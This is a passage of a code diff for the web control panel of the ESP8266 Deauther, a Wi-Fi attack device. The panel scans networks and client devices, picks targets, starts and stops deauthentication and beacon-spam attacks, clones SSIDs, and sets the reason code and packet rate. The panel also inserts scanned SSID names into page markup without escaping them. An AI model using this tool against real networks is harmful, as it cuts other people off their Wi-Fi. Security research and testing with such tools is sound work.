|
||||||
|
|
||||||
function compare(a, b) {
|
function compare(a, b) {
|
||||||
@@ -32,11 +25,11 @@ function getEncryption(num) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function getResults() {
|
function getResults() {
|
||||||
toggleBtn(true);
|
toggleScan(true);
|
||||||
getResponse("APScanResults.json", function(responseText) {
|
getResponse("APScanResults.json", function(responseText) {
|
||||||
var res = JSON.parse(responseText);
|
var res = JSON.parse(responseText);
|
||||||
res.aps = res.aps.sort(compare);
|
res.aps = res.aps.sort(compare);
|
||||||
networkInfo.innerHTML = "Networks found: " + res.aps.length;
|
networkInfo.innerHTML = res.aps.length;
|
||||||
apMAC.innerHTML = "";
|
apMAC.innerHTML = "";
|
||||||
|
|
||||||
var tr = '';
|
var tr = '';
|
||||||
@@ -59,41 +52,23 @@ function getResults() {
|
|||||||
tr += '</tr>';
|
tr += '</tr>';
|
||||||
}
|
}
|
||||||
table.innerHTML = tr;
|
table.innerHTML = tr;
|
||||||
canScan = true;
|
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
function scan() {
|
function scan() {
|
||||||
canScan = false;
|
toggleScan(false);
|
||||||
toggleBtn(false);
|
|
||||||
getResponse("APScan.json", function(responseText) {
|
getResponse("APScan.json", function(responseText) {
|
||||||
if (responseText == "true") getResults();
|
if (responseText == "true") getResults();
|
||||||
else alert("error");
|
else showMessage("response error APScan.json");
|
||||||
toggleBtn(true);
|
toggleScan(true);
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
function startConScan() {
|
|
||||||
if (autoScan) {
|
|
||||||
autoScan = false;
|
|
||||||
startStopScan.innerHTML = "start";
|
|
||||||
toggleBtn(true);
|
|
||||||
} else {
|
|
||||||
autoScan = true;
|
|
||||||
startStopScan.innerHTML = "stop";
|
|
||||||
toggleBtn(false);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function select(num) {
|
function select(num) {
|
||||||
getResponse("APSelect.json?num=" + num, function(responseText) {
|
getResponse("APSelect.json?num=" + num, function(responseText) {
|
||||||
if (responseText == "true") getResults();
|
if (responseText == "true") getResults();
|
||||||
else alert("error");
|
else showMessage("response error APSelect.json");
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
getResults();
|
getResults();
|
||||||
|
|
||||||
setInterval(function() {
|
|
||||||
if (autoScan && canScan) scan();
|
|
||||||
}, 1000);
|
|
||||||
@@ -1,9 +1,9 @@
|
|||||||
var selectedAPs = document.getElementById("selectedAPs");
|
var selectedAPs = getE("selectedAPs");
|
||||||
var selectedClients = document.getElementById("selectedClients");
|
var selectedClients = getE("selectedClients");
|
||||||
var table = document.getElementsByTagName("table")[0];
|
var table = document.getElementsByTagName("table")[0];
|
||||||
var ssidList = document.getElementsByTagName("table")[1];
|
var ssidList = document.getElementsByTagName("table")[1];
|
||||||
var saved = document.getElementById("saved");
|
var saved = getE("saved");
|
||||||
var ssidCounter = document.getElementById("ssidCounter");
|
var ssidCounter = getE("ssidCounter");
|
||||||
var resultInterval;
|
var resultInterval;
|
||||||
var res;
|
var res;
|
||||||
|
|
||||||
@@ -13,7 +13,7 @@ function getResults() {
|
|||||||
var aps = "";
|
var aps = "";
|
||||||
var clients = "";
|
var clients = "";
|
||||||
var tr = "<tr><th>Attack</th><th>Status</th><th>Start/Stop</th></tr>";
|
var tr = "<tr><th>Attack</th><th>Status</th><th>Start/Stop</th></tr>";
|
||||||
for (var i = 0; i < res.aps.length; i++) aps += "<li>" + res.aps[i] + "</li>";
|
for (var i = 0; i < res.aps.length; i++) aps += "<li>" + res.aps[i] + " <button onclick='cloneSSID(\""+res.aps[i]+"\")'>clone</button></li>";
|
||||||
for (var i = 0; i < res.clients.length; i++) clients += "<li>" + res.clients[i] + "</li>";
|
for (var i = 0; i < res.clients.length; i++) clients += "<li>" + res.clients[i] + "</li>";
|
||||||
|
|
||||||
selectedAPs.innerHTML = aps;
|
selectedAPs.innerHTML = aps;
|
||||||
@@ -24,8 +24,8 @@ function getResults() {
|
|||||||
else tr += "<tr>";
|
else tr += "<tr>";
|
||||||
|
|
||||||
tr += "<td>" + res.attacks[i].name + "</td>";
|
tr += "<td>" + res.attacks[i].name + "</td>";
|
||||||
if (res.attacks[i].status == "ready") tr += "<td style='color:#1ecb1e'>" + res.attacks[i].status + "</td>";
|
if (res.attacks[i].status == "ready") tr += "<td class='green'>" + res.attacks[i].status + "</td>";
|
||||||
else tr += "<td style='color:#f00'>" + res.attacks[i].status + "</td>";
|
else tr += "<td class='red'>" + res.attacks[i].status + "</td>";
|
||||||
if (res.attacks[i].running) tr += "<td><button class='marginNull selectedBtn' onclick='startStop(" + i + ")'>stop</button></td>";
|
if (res.attacks[i].running) tr += "<td><button class='marginNull selectedBtn' onclick='startStop(" + i + ")'>stop</button></td>";
|
||||||
else tr += "<td><button class='marginNull' onclick='startStop(" + i + ")'>start</button></td>";
|
else tr += "<td><button class='marginNull' onclick='startStop(" + i + ")'>start</button></td>";
|
||||||
|
|
||||||
@@ -33,46 +33,43 @@ function getResults() {
|
|||||||
}
|
}
|
||||||
table.innerHTML = tr;
|
table.innerHTML = tr;
|
||||||
|
|
||||||
ssidCounter.innerHTML = res.ssid.length + "/64";
|
ssidCounter.innerHTML = res.ssid.length + "/48";
|
||||||
|
|
||||||
var tr = "<tr><th>Name</th><th>X</th></tr>";
|
var tr = "<tr><th>Name</th><th>X</th></tr>";
|
||||||
for (var i = 0; i < res.ssid.length; i++) {
|
for (var i = 0; i < res.ssid.length; i++) {
|
||||||
tr += "<tr>";
|
tr += "<tr>";
|
||||||
tr += "<td>" + res.ssid[i] + "</td>";
|
tr += "<td>" + res.ssid[i] + "</td>";
|
||||||
tr += '<td><button class="marginNull warnBtn" onclick="deleteSSID(' + i + ')">x</button></td>';
|
tr += '<td><button class="marginNull button-warn" onclick="deleteSSID(' + i + ')">x</button></td>';
|
||||||
tr += "</tr>";
|
tr += "</tr>";
|
||||||
}
|
}
|
||||||
ssidList.innerHTML = tr;
|
ssidList.innerHTML = tr;
|
||||||
|
|
||||||
}, function() {
|
}, function() {
|
||||||
clearInterval(resultInterval);
|
clearInterval(resultInterval);
|
||||||
location.reload();
|
showMessage("error loading attackInfo.json");
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
function startStop(num) {
|
function startStop(num) {
|
||||||
getResponse("attackStart.json?num=" + num, function(responseText) {
|
getResponse("attackStart.json?num=" + num, function(responseText) {
|
||||||
if (responseText == "true") getResults();
|
if (responseText == "true") getResults();
|
||||||
else alert("error");
|
else showMessage("response error attackStart.json");
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
function addSSID() {
|
function addSSID() {
|
||||||
saved.innerHTML = "";
|
saved.innerHTML = "";
|
||||||
if (res.ssid.length >= 64) alert("SSID list full :(");
|
if (res.ssid.length >= 64) showMessage("SSID list full :(", 2500);
|
||||||
else {
|
else {
|
||||||
var _ssidName = prompt("new SSID:");
|
var _ssidName = prompt("new SSID:");
|
||||||
if (_ssidName != null) getResponse("addSSID.json?name=" + _ssidName, getResults);
|
if (_ssidName != null) getResponse("addSSID.json?name=" + _ssidName, getResults);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function cloneSSID() {
|
function cloneSSID(_ssidName) {
|
||||||
saved.innerHTML = "";
|
saved.innerHTML = "";
|
||||||
if (res.ssid.length >= 64) alert("SSID list full :(");
|
if (res.ssid.length >= 64) showMessage("SSID list full :(", 2500);
|
||||||
else {
|
else if(_ssidName != null) getResponse("cloneSSID.json?name=" + _ssidName, getResults);
|
||||||
var _ssidName = prompt("new SSID:");
|
|
||||||
if (_ssidName != null) getResponse("cloneSSID.json?name=" + _ssidName, getResults);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function deleteSSID(num) {
|
function deleteSSID(num) {
|
||||||
@@ -98,4 +95,4 @@ function resetSSID() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
getResults();
|
getResults();
|
||||||
resultInterval = setInterval(getResults, 3000);
|
resultInterval = setInterval(getResults, 1000);
|
||||||
36
web_server/html/js/functions.js
Normal file
@@ -0,0 +1,36 @@
|
|||||||
|
function showMessage(msg, closeAfter){
|
||||||
|
document.getElementById("error").innerHTML = msg;
|
||||||
|
if(closeAfter !== undefined){
|
||||||
|
setTimeout(function(){
|
||||||
|
document.getElementById("error").innerHTML = "";
|
||||||
|
},closeAfter);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function getE(name){
|
||||||
|
return document.getElementById(name);
|
||||||
|
}
|
||||||
|
|
||||||
|
function getResponse(adr, callback, timeoutCallback, timeout, method){
|
||||||
|
if(timeoutCallback === undefined) {
|
||||||
|
timeoutCallback = function(){
|
||||||
|
showMessage("error loading "+adr);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
if(timeout === undefined) timeout = 8000;
|
||||||
|
if(method === undefined) method = "GET";
|
||||||
|
var xmlhttp = new XMLHttpRequest();
|
||||||
|
xmlhttp.onreadystatechange = function() {
|
||||||
|
if(xmlhttp.readyState == 4){
|
||||||
|
if(xmlhttp.status == 200){
|
||||||
|
showMessage("");
|
||||||
|
callback(xmlhttp.responseText);
|
||||||
|
}
|
||||||
|
else timeoutCallback();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
xmlhttp.open(method, adr, true);
|
||||||
|
xmlhttp.send();
|
||||||
|
xmlhttp.timeout = timeout;
|
||||||
|
xmlhttp.ontimeout = timeoutCallback;
|
||||||
|
}
|
||||||
84
web_server/html/js/settings.js
Normal file
@@ -0,0 +1,84 @@
|
|||||||
|
var ssid = getE('ssid');
|
||||||
|
var ssidHidden = getE('ssidHidden');
|
||||||
|
var password = getE('password');
|
||||||
|
var apChannel = getE('apChannel');
|
||||||
|
var apScanHidden = getE('apScanHidden');
|
||||||
|
var scanTime = getE('scanTime');
|
||||||
|
var timeout = getE('timeout');
|
||||||
|
var deauthReason = getE('deauthReason');
|
||||||
|
var packetRate = getE('packetRate');
|
||||||
|
var saved = getE('saved');
|
||||||
|
var clientNames = getE('clientNames');
|
||||||
|
var ssidEnc = getE('ssidEnc');
|
||||||
|
var useLed = getE('useLed');
|
||||||
|
/*var channelHop = getE('channelHop');*/
|
||||||
|
var multiAPs = getE('multiAPs');
|
||||||
|
var cMac = getE('cMac');
|
||||||
|
var cName = getE('cName');
|
||||||
|
var res;
|
||||||
|
|
||||||
|
function getData() {
|
||||||
|
getResponse("settings.json", function(responseText) {
|
||||||
|
try {
|
||||||
|
res = JSON.parse(responseText);
|
||||||
|
} catch(e) {
|
||||||
|
showMessage("Error: reset the settings.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
ssid.value = res.ssid;
|
||||||
|
ssidHidden.checked = res.ssidHidden;
|
||||||
|
password.value = res.password;
|
||||||
|
apChannel.value = res.apChannel;
|
||||||
|
apScanHidden.checked = res.apScanHidden;
|
||||||
|
scanTime.value = res.clientScanTime;
|
||||||
|
timeout.value = res.attackTimeout;
|
||||||
|
deauthReason.value = res.deauthReason;
|
||||||
|
packetRate.value = res.attackPacketRate;
|
||||||
|
ssidEnc.checked = res.attackEncrypted;
|
||||||
|
useLed.checked = res.useLed;
|
||||||
|
/*channelHop.checked = res.channelHop;*/
|
||||||
|
multiAPs.checked = res.multiAPs;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function saveSettings() {
|
||||||
|
saved.innerHTML = "saving...";
|
||||||
|
var url = "settingsSave.json";
|
||||||
|
url += "?ssid=" + ssid.value;
|
||||||
|
url += "&ssidHidden=" + ssidHidden.checked;
|
||||||
|
url += "&password=" + password.value;
|
||||||
|
url += "&apChannel=" + apChannel.value;
|
||||||
|
url += "&apScanHidden=" + apScanHidden.checked;
|
||||||
|
url += "&scanTime=" + scanTime.value;
|
||||||
|
url += "&timeout=" + timeout.value;
|
||||||
|
url += "&deauthReason=" + deauthReason.value;
|
||||||
|
url += "&packetRate=" + packetRate.value;
|
||||||
|
url += "&ssidEnc=" + ssidEnc.checked;
|
||||||
|
url += "&useLed=" + useLed.checked;
|
||||||
|
/*url += "&channelHop=" + channelHop.checked;*/
|
||||||
|
url += "&multiAPs="+ multiAPs.checked;
|
||||||
|
|
||||||
|
getResponse(url, function(responseText) {
|
||||||
|
if (responseText == "true") {
|
||||||
|
getData();
|
||||||
|
saved.innerHTML = "saved";
|
||||||
|
}
|
||||||
|
else showMessage("response error settingsSave.json");
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function resetSettings() {
|
||||||
|
getResponse("settingsReset.json", function(responseText) {
|
||||||
|
if (responseText == "true") {
|
||||||
|
getData();
|
||||||
|
saved.innerHTML = "saved";
|
||||||
|
}
|
||||||
|
else showMessage("response error settingsReset.json");
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function restart(){
|
||||||
|
getResponse("restartESP.json?", function(){});
|
||||||
|
}
|
||||||
|
|
||||||
|
getData();
|
||||||
142
web_server/html/js/stations.js
Normal file
@@ -0,0 +1,142 @@
|
|||||||
|
var table = document.getElementsByTagName('table')[0];
|
||||||
|
var scanBtn = getE("startScan");
|
||||||
|
var scanTime = getE("scanTime");
|
||||||
|
var clientsFound = getE("clientsFound");
|
||||||
|
var scanStatus = getE("clientScanStatus");
|
||||||
|
var clientNames = getE('clientNames');
|
||||||
|
var nameListTable = getE('nameList');
|
||||||
|
var res;
|
||||||
|
|
||||||
|
function compare(a, b) {
|
||||||
|
if (a.p > b.p) return -1;
|
||||||
|
if (a.p < b.p) return 1;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
function toggleBtn(onoff) {
|
||||||
|
if (onoff) {
|
||||||
|
scanStatus.style.visibility = 'visible';
|
||||||
|
} else {
|
||||||
|
scanStatus.style.visibility = 'hidden';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function getResults() {
|
||||||
|
getResponse("ClientScanResults.json", function(responseText) {
|
||||||
|
try{
|
||||||
|
res = JSON.parse(responseText);
|
||||||
|
}catch(e){
|
||||||
|
showMessage("Error: clear the client list.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
res.clients = res.clients.sort(compare);
|
||||||
|
|
||||||
|
clientsFound.innerHTML = res.clients.length;
|
||||||
|
|
||||||
|
var tr = '';
|
||||||
|
if (res.clients.length > 0) tr += '<tr><th>Pkts</th><th>Vendor</th><th>Name</th><th>MAC</th><th>AP</th><th>Select</th></tr>';
|
||||||
|
|
||||||
|
for (var i = 0; i < res.clients.length; i++) {
|
||||||
|
|
||||||
|
if (res.clients[i].s == 1) tr += '<tr class="selected">';
|
||||||
|
else tr += '<tr>';
|
||||||
|
tr += '<td>' + res.clients[i].p + '</td>';
|
||||||
|
tr += '<td>' + res.clients[i].v + '</td>';
|
||||||
|
tr += '<td>' + res.clients[i].n + ' <a onclick="changeName(' + res.clients[i].i + ')">edit</a></td>';
|
||||||
|
tr += '<td>' + res.clients[i].m + '</td>';
|
||||||
|
tr += '<td>' + res.clients[i].a + '</td>';
|
||||||
|
|
||||||
|
if (res.clients[i].s == 1) tr += '<td><button class="marginNull selectedBtn" onclick="select(' + res.clients[i].i + ')">deselect</button></td>';
|
||||||
|
else tr += '<td><button class="marginNull" onclick="select(' + res.clients[i].i + ')">select</button></td>';
|
||||||
|
|
||||||
|
tr += '</tr>';
|
||||||
|
}
|
||||||
|
table.innerHTML = tr;
|
||||||
|
|
||||||
|
clientNames.innerHTML = res.nameList.length + "/50";
|
||||||
|
|
||||||
|
var tr = '<tr><th>MAC</th><th>Name</th><th>X</th><th>Add</th></tr>';
|
||||||
|
|
||||||
|
for (var i = 0; i < res.nameList.length; i++) {
|
||||||
|
|
||||||
|
tr += '<tr>';
|
||||||
|
tr += '<td>' + res.nameList[i].m + '</td>';
|
||||||
|
tr += '<td>' + res.nameList[i].n + ' <a onclick="changeName(' + i + ')">edit</a></td>';
|
||||||
|
tr += '<td><button class="marginNull button-warn" onclick="deleteName(' + i + ')">x</button></td>';
|
||||||
|
tr += '<td><button class="marginNull button-primary" onclick="add(' + i + ')">add</button></td>';
|
||||||
|
tr += '</tr>';
|
||||||
|
}
|
||||||
|
|
||||||
|
nameListTable.innerHTML = tr;
|
||||||
|
|
||||||
|
}, function() {
|
||||||
|
showMessage("reconnect and reload the site");
|
||||||
|
}, 6000);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
function scan() {
|
||||||
|
toggleBtn(true);
|
||||||
|
getResponse("ClientScan.json?time=" + scanTime.value, function(responseText) {
|
||||||
|
if(responseText == "true") {
|
||||||
|
setTimeout(function() {
|
||||||
|
toggleBtn(true);
|
||||||
|
getResults();
|
||||||
|
}, scanTime.value * 1000);
|
||||||
|
}
|
||||||
|
else showMessage("response error ClientScan.json");
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function select(num) {
|
||||||
|
getResponse("clientSelect.json?num=" + num, function(responseText) {
|
||||||
|
if (responseText == "true") getResults();
|
||||||
|
else showMessage("response error clientSelect.json");
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function clearNameList() {
|
||||||
|
getResponse("clearNameList.json", function(responseText) {
|
||||||
|
if (responseText == "true") getResults();
|
||||||
|
else showMessage("response error clearNameList.json");
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function addClient(){
|
||||||
|
getResponse("addClient.json?mac="+cMac.value+"&name="+cName.value, function(responseText) {
|
||||||
|
if (responseText == "true") getResults();
|
||||||
|
else showMessage("response error addClient.json");
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function changeName(id) {
|
||||||
|
var newName = prompt("Name for " + res.nameList[id].m);
|
||||||
|
if (newName != null) {
|
||||||
|
getResponse("editNameList.json?id=" + id + "&name=" + newName, function(responseText) {
|
||||||
|
if(responseText == "true") getResults();
|
||||||
|
else showMessage("response error editNameList.json");
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function deleteName(id) {
|
||||||
|
getResponse("deleteName.json?num=" + id, function(responseText) {
|
||||||
|
if (responseText == "true") getResults();
|
||||||
|
else showMessage("response error deleteName.json");
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function add(id){
|
||||||
|
getResponse("addClientFromList.json?num=" + id, function(responseText) {
|
||||||
|
if (responseText == "true") getResults();
|
||||||
|
else showMessage("response error addClientFromList.json");
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
getResponse("ClientScanTime.json", function(responseText) {
|
||||||
|
scanTime.value = responseText;
|
||||||
|
});
|
||||||
|
|
||||||
|
getResults();
|
||||||
|
toggleBtn(false);
|
||||||
177
web_server/html/settings.html
Normal file
@@ -0,0 +1,177 @@
|
|||||||
|
<!Doctype html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<title>ESP8266 Deauther</title>
|
||||||
|
<meta name="description" content="Wi-Fi Deauthenticator">
|
||||||
|
<meta name="author" content="Spacehuhn - Stefan Kremser">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
|
<script src="js/functions.js"></script>
|
||||||
|
<link rel="stylesheet" href="style.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<nav>
|
||||||
|
<a href="apscan.html">APs</a>
|
||||||
|
<a href="stations.html">Stations</a>
|
||||||
|
<a href="attack.html">Attacks</a>
|
||||||
|
<a href="settings.html">Settings</a>
|
||||||
|
<a class="right" href="info.html">Info</a>
|
||||||
|
</nav>
|
||||||
|
<div id="error"></div>
|
||||||
|
<div class="container">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-12">
|
||||||
|
<h1 class="header">Settings</h1>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-12">
|
||||||
|
<h2>Wi-Fi</h2>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-6">
|
||||||
|
<label for="ssid">SSID</label>
|
||||||
|
</div>
|
||||||
|
<div class="col-6">
|
||||||
|
<input type="text" id="ssid" minlength="1" maxlength="32">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-6">
|
||||||
|
<label for="ssidHidden">Hide SSID</label>
|
||||||
|
</div>
|
||||||
|
<div class="col-6">
|
||||||
|
<input type="checkbox" name="ssidHidden" id="ssidHidden" value="false">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-6">
|
||||||
|
<label for="password">Password (min.8 chars)</label>
|
||||||
|
</div>
|
||||||
|
<div class="col-6">
|
||||||
|
<input type="text" id="password" minlength="8" maxlength="32">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-6">
|
||||||
|
<label for="apChannel">Channel</label>
|
||||||
|
</div>
|
||||||
|
<div class="col-6">
|
||||||
|
<input type="number" id="apChannel" min="1" max="14">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<br />
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-12">
|
||||||
|
<h2>AP Scan</h2>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-6">
|
||||||
|
<label for="apScanHidden">Scan Hidden APs</label>
|
||||||
|
</div>
|
||||||
|
<div class="col-6">
|
||||||
|
<input type="checkbox" name="apScanHidden" id="apScanHidden" value="false">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-6">
|
||||||
|
<label for="multiAPs">Select multiple SSIDs</label>
|
||||||
|
</div>
|
||||||
|
<div class="col-6">
|
||||||
|
<input type="checkbox" name="multiAPs" id="multiAPs" value="false">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<br />
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-12">
|
||||||
|
<h2>Station Scan</h2>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-6">
|
||||||
|
<label for="scanTime">Default Scan Time</label>
|
||||||
|
</div>
|
||||||
|
<div class="col-6">
|
||||||
|
<input type="number" id="scanTime" min="1" max="255"> s
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<br />
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-12">
|
||||||
|
<h2>Attack</h2>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-6">
|
||||||
|
<label for="timeout">Timeout</label>
|
||||||
|
</div>
|
||||||
|
<div class="col-6">
|
||||||
|
<input type="number" id="timeout" min="-1" max="65536"> s
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-6">
|
||||||
|
<label for="ssidEnc">WPA2 Beacons</label>
|
||||||
|
</div>
|
||||||
|
<div class="col-6">
|
||||||
|
<input type="checkbox" name="ssidEnc" id="ssidEnc" value="false">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-6">
|
||||||
|
<label for="useLed">Use LED</label>
|
||||||
|
</div>
|
||||||
|
<div class="col-6">
|
||||||
|
<input type="checkbox" name="useLed" id="useLed" value="false">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-6">
|
||||||
|
<label for="deauthReason">Deauth Reason-Code</label>
|
||||||
|
</div>
|
||||||
|
<div class="col-6">
|
||||||
|
<input type="number" id="deauthReason" min="1" max="45">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-6">
|
||||||
|
<label for="packetRate">Packetrate (<span class="red">may cause instability!</span>)</label>
|
||||||
|
</div>
|
||||||
|
<div class="col-6">
|
||||||
|
<input type="number" id="packetRate" min="1" max="50"> pkts/s
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<!--
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-6">
|
||||||
|
<label for="channelHop">Channel Hopping</label>
|
||||||
|
</div>
|
||||||
|
<div class="col-6">
|
||||||
|
<input type="checkbox" name="channelHop" id="channelHop" value="false">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
-->
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-12">
|
||||||
|
<br />
|
||||||
|
<button class="button-warn" onclick="resetSettings()">reset</button>
|
||||||
|
<button class="button-warn" onclick="restart()">restart</button>
|
||||||
|
<button class="button-primary right" onclick="saveSettings()">save</button>
|
||||||
|
<br class="clear" />
|
||||||
|
<p id="saved"></p>
|
||||||
|
<br class="clear" />
|
||||||
|
|
||||||
|
<div id="copyright">
|
||||||
|
version 1.4<br />
|
||||||
|
Copyright (c) 2017 Stefan Kremser<br />
|
||||||
|
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a><br />
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script src="js/settings.js"></script>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
70
web_server/html/stations.html
Normal file
@@ -0,0 +1,70 @@
|
|||||||
|
<!Doctype html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<title>ESP8266 Deauther</title>
|
||||||
|
<meta name="description" content="Wi-Fi Deauthenticator">
|
||||||
|
<meta name="author" content="Spacehuhn - Stefan Kremser">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
|
<script src="js/functions.js"></script>
|
||||||
|
<link rel="stylesheet" href="style.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<nav>
|
||||||
|
<a href="apscan.html">APs</a>
|
||||||
|
<a href="stations.html">Stations</a>
|
||||||
|
<a href="attack.html">Attacks</a>
|
||||||
|
<a href="settings.html">Settings</a>
|
||||||
|
<a class="right" href="info.html">Info</a>
|
||||||
|
</nav>
|
||||||
|
<div id="error"></div>
|
||||||
|
<div class="container">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-12">
|
||||||
|
<h1 class="header">Scan for Wi-Fi Stations</h1>
|
||||||
|
|
||||||
|
<label for="scanTime">Scan time:</label>
|
||||||
|
<input type="number" id="scanTime" value="10">s
|
||||||
|
|
||||||
|
<button onclick="scan()" id="startScan" class="right button-primary">start</button>
|
||||||
|
<a id="clientScanStatus" class="right padding">scanning...</a>
|
||||||
|
<br />
|
||||||
|
<p class="warn">The access point will be unavailable while scanning and you may have to reconnect!<p>
|
||||||
|
<p>Client devices found: <span id="clientsFound">0</span></p>
|
||||||
|
<br />
|
||||||
|
<table></table>
|
||||||
|
|
||||||
|
<p class="block bold" >Saved clients: <span id="clientNames"></span></p>
|
||||||
|
<table id="nameList"></table>
|
||||||
|
|
||||||
|
<button class="button-warn left" onclick="clearNameList()">clear</button>
|
||||||
|
<br class="clear" />
|
||||||
|
<p>Add client:</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-4">
|
||||||
|
<label>MAC <input type="text" placeholder="AA:BB:CC:DD:EE:FF" id="cMac"/></label>
|
||||||
|
</div>
|
||||||
|
<div class="col-4">
|
||||||
|
<label>Name <input type="text" placeholder="EXAMPLE" id="cName"/></label>
|
||||||
|
</div>
|
||||||
|
<div class="col-4">
|
||||||
|
<button class="button-primary" onclick="addClient()">add</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-12">
|
||||||
|
<div id="copyright">
|
||||||
|
version 1.4<br />
|
||||||
|
Copyright (c) 2017 Stefan Kremser<br />
|
||||||
|
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a><br />
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script src="js/stations.js"></script>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
392
web_server/html/style.css
Normal file
@@ -0,0 +1,392 @@
|
|||||||
|
/* Global */
|
||||||
|
.header{
|
||||||
|
font-size: 1.6rem;
|
||||||
|
background: #00B0FF;
|
||||||
|
color: #fff;
|
||||||
|
padding:0.2rem;
|
||||||
|
border-radius:4px;
|
||||||
|
margin-top: 0;
|
||||||
|
}
|
||||||
|
nav,
|
||||||
|
nav a{
|
||||||
|
background: #222;
|
||||||
|
}
|
||||||
|
nav a{
|
||||||
|
color: #999;
|
||||||
|
padding: .5em;
|
||||||
|
display: inline-block;
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
nav a:hover{
|
||||||
|
background: #000;
|
||||||
|
color:#f0f0f0;
|
||||||
|
}
|
||||||
|
meter{
|
||||||
|
width: 45px;
|
||||||
|
}
|
||||||
|
h2{
|
||||||
|
font-size: 1.5rem;
|
||||||
|
border-bottom: 1px solid #A5A5A5;
|
||||||
|
margin: 0;
|
||||||
|
}
|
||||||
|
table{
|
||||||
|
width: 100%;
|
||||||
|
text-align:center;
|
||||||
|
border: none;
|
||||||
|
border-collapse: collapse;
|
||||||
|
}
|
||||||
|
td{
|
||||||
|
font-weight: normal;
|
||||||
|
font-size: 0.85em;
|
||||||
|
}
|
||||||
|
.bottom-border{
|
||||||
|
border-bottom: 1px solid #c3c3c3;
|
||||||
|
}
|
||||||
|
.selected{
|
||||||
|
background: #00B0FF;
|
||||||
|
}
|
||||||
|
.left{
|
||||||
|
float: left;
|
||||||
|
}
|
